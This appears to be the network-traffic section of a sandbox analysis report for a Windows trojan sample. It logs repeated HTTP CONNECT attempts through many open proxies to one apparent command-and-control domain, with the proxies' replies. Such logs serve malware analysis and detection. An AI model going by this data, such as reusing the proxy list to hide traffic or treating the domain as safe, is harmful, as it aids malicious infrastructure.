Feb 23, 2024 14:28:22.319550037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49863	176.98.81.85	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.320692062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49994	13.41.14.5	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.321706057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49792	13.229.47.109	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.330158949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.681118965 CET	224	IN	HTTP/1.1 400 Bad Request Date: Fri, 23 Feb 2024 13:26:10 GMT Content-Type: text/plain; charset=utf-8 Connection: close Content-Length: 12 X-Kong-Response-Latency: -4.7683715820313e-05 Server: kong/2.8.1 Data Raw: 42 61 64 20 72 65 71 75 65 73 74 0a Data Ascii: Bad request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49852	45.185.236.254	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.337941885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.882210970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49894	113.30.149.76	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.338701963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49947	104.25.58.39	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.339200020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.427174091 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49952	104.20.205.191	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.346851110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.434597015 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49791	60.188.102.225	18080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.348975897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.116584063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.257275105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49955	172.67.69.9	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.350208044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.438314915 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49889	93.90.212.2	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.417974949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	50000	45.12.30.231	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.419682026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.507616997 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49850	43.231.22.229	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.434242964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.769519091 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49858	210.209.236.26	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.440118074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.771853924 CET	326	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49883	101.231.64.89	8443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.447510004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49978	51.15.242.202	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.457380056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.617536068 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.21.6 Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 36 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.21.6</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49987	18.135.211.182	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.464688063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.634998083 CET	167	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.7 Server: squid/6.0.0-20220501-re899e0c27 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49922	20.219.177.85	3129	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.477931976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.757642031 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	50035	172.67.182.77	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.491904974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.579205036 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	50038	104.18.254.76	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.493756056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.581162930 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	50003	62.112.10.26	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.495263100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.960319042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.476016998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.507250071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.695069075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.882635117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.991883993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49997	107.181.161.81	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.497611046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	50048	5.161.219.13	4228	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.509136915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.602688074 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49923	8.213.128.6	8889	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.511482000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.823854923 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	50065	104.16.105.15	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.522402048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.609642982 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	50066	104.20.75.69	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.525228977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.612884045 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	50010	92.205.105.134	17317	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.534807920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.975956917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.476002932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.460530996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.491877079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.491884947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	50012	195.90.216.75	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.540077925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
